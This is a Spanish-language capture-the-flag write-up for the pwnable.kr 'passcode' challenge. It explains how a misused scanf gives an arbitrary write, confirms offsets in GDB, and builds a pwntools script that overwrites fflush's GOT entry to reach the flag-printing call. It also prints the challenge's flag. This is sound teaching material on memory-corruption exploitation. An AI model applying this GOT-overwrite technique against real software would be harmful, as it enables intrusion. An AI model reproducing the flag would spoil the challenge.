pwnable.kr - passcode

Table of contents

  1. Analisis del binario
    1. Funcion main
    2. Funcion welcome
    3. Funcion login
    4. Depurandolo con GDB
  2. Explotacion
    1. Desplazamiento para passcode1
    2. Direccion de fflush
    3. Crafteando el exploit

Tenemos un GOT overwrite donde a través de la escritura arbitraria, podemos sobreescribir la entrada .GOT de fflush() por la dirección de system(bin/cat flag) y leer la flag

Analisis del binario

Funcion main

int main(){
	printf("Toddler's Secure Login System 1.0 beta.\n");

	welcome();
	login();

	// something after login...
	printf("Now I can safely trust you that you have credential :)\n");
	return 0;	
}

Lo unico que hace es llamar a dos funciones: welcome y login e imprimer unos cuantos mensajes

Funcion welcome

void welcome(){
	char name[100];
	printf("enter you name : ");
	scanf("%100s", name);
	printf("Welcome %s!\n", name);
}

Vemos que se declara un buffer de 100, basicamente esta funcion toma 100 caracteres los cuales los guarda en la variable name e imprime el mensaje Welcome y lo que tenga name

Funcion login

void login(){
	int passcode1;
	int passcode2;

	printf("enter passcode1 : ");
	scanf("%d", passcode1);
	fflush(stdin);

	// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
	printf("enter passcode2 : ");
        scanf("%d", passcode2);

	printf("checking...\n");
	if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
		exit(0);
        }
}

Después de eso tenemos la funcion login() que lee dos números enteros, luego los compara con dos constantes y, si coinciden obtenemos la bandera

Todo parece muy simple, pero si intentamos correrlo pasandole esos valores con los que se compara, veremos algo como esto:

passcode@pwnable:~$ ./passcode 
Toddler's Secure Login System 1.0 beta.
enter you name : c4rta
Welcome c4rta!
enter passcode1 : 338150
Segmentation fault (core dumped)

Peto, pero como es que peto si parece que espera un tipo de dato int y encima el que le pasamos es igual a 338150 que es el primer valor con el que se compara.

Aqui una recomendacion es que si tiene el codigo fuente, lo vuelvan a compilar para ver si tiene algunos warnings y en este caso nos muestra eso:

passcode.c: In function ‘login’:
passcode.c:9:8: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
    scanf("%d", passcode1);
    ^

Con esto nos podemos dar cuenta el input que se guarda en passcode1 no se interpreta como un int, si no como una direccion, de hecho ahi nos dice que espera un int *, esto deriva de un arbitrary write, en la cual es la variable passcode1 podemos poner lo que queramos

Depurandolo con GDB

Aqui me ire directamente a la funcion login() para que puedan ver que las variables se tratan como direcciones (les recomiendo que lo pongan con sintaxis intel, la sintaxis at&t esta medio pedorra: set disassembly-flavor intel)

Quiero destacar algo, generalmente en ensamblador para acceder a las varibles de una funcion se hace uso del EBP, esto lo digo ya que podemos tener una idea de donde se encuentran nuestras variables, quiero resaltar esto:

Puede ser que lo que esta en ebp-0x10 sea la variable passcode asi que para corroborar eso pondre un breakpoint alli e ejecutare el programa:

Como se puede ver:

(gdb) x/xw $ebp-0x10
0xffefef58:	0xf7586cbb

La variable passcode1 (ebp-0x10) esta apuntando a 0xf7586cbb, que es la direccion en la que esta escribiendo en scanf()

Ademas podemos ver que en las comparaciones:

cmp    DWORD PTR [ebp-0x10],0x528e6
DWORD PTR [ebp-0xc],0xcc07c9

Esta comparando direcciones 0x528e6 y 0xcc07c9 no un valor, entonces el código intenta cargar la dirección de passcode1 y passcode2 que obviamente no existen. Esa es la razon por la que el programa peta

Explotacion

Si sabemos que tenenemos una escritura arbitraria para poder sobrescribir el valor de passcode1, ¿Entonces como nos aprovechamos de esto?, pues debemos de aplicar otra tecnica llamada GOT overwrite

En el código de login() después de scanf lo que sigue después es fflush(stdin), esto puede ser usado para realizar un “salto” hacía una dirección. Si te das cuenta, cuando vemos el código te la función fflush(), está usando la instrucción jmp para saltar a 0x804a004 , además fflush está referenciada por .PLT y eso lo podemos ver en fflush@PLT así que fflush() debe de tener una entrada en .GOT a la que va a saltar, ademas, gracias a qué scanf() está antes que fflush(), nosotros podemos controlar 0x804a004, la idea es:

  • Mandar los suficientes bytes para llenar el buffer

  • Sobreescribir passcode1 por 0x804a004, y eso nos permitirá una escritura arbitraria en fflush@GOT

  • Y a través de la escritura arbitraria, podemos sobreescribir la entrada .GOT de fflush() por la dirección de system(bin/cat flag)

Desplazamiento para passcode1

Lo primero que hay que obtener es el desplazamiento para llegar a passcode1, y es bien facil, simplemente podemos hacer una resta de la ubicacion de la variable name la que recibe nuestro primer input, con la ubicacion de la variable passcode y la variable name esta 0x70 por debajo de EBP, deja te muesto.

En la funcion welcome() hay una linea como esta:

0x0804862f <+38>: lea edx,[ebp-0x70]

La cual usa el registro EDX este registro es usado para menejar las operaciones I/0, asi que pondre un breakpoint donde se recibe nuestro input

b *0x08048643

Ahora si yo muestro lo que tiene ebp-0x70 veremos algo como esto:

(gdb) r
Starting program: /home/passcode/passcode 
Toddler's Secure Login System 1.0 beta.
enter you name : c4rta --> Mi input

Breakpoint 1, 0x08048643 in welcome ()
(gdb) x/1s $ebp-0x70
0xffa1a2c8:	"c4rta" --> El valor que tiene
(gdb) 

Ahora esta comprobado que en ebp-0x70 esta la variable name.

Asi que para sacar el desplazamiento para llegar a passcode1 hacemos 0x70 - 0x10, y esto nos da 96 es decimal

Direccion de fflush

Primero hay que mostrar el contenido de la funcion:

(gdb) disas fflush
Dump of assembler code for function fflush@plt:
   0x08048430 <+0>:	jmp    *0x804a004
   0x08048436 <+6>:	push   $0x8
   0x0804843b <+11>:	jmp    0x8048410
End of assembler dump.

Vemos que la entrada de fflush esta con la direccion 0x804a004 y su valor es 0x08048436 que es cuando se hace el push. y esta direccion la ocupamos ya que sobrescribiremos fflush para que llame a /bin/cat flag que esta en la direccion 0x080485e3

Crafteando el exploit

from pwn import *

context.update(arch="i386", os="linux")
p = process("./passcode")

payload = b'A' * 96             # desplazamiento para passcode
payload += p32(0x0804a004)      # direccion de la entrada GOT de fflush
payload += str.encode(str(0x080485e3))  # direccion de bin/cat flag

print(p.recvline())
p.sendline(payload)
print(p.recvall())

Y nos da la flag la cual es: Sorry mom.. I got confused about scanf usage :(

Eso ha sido todo, gracias por leer ❤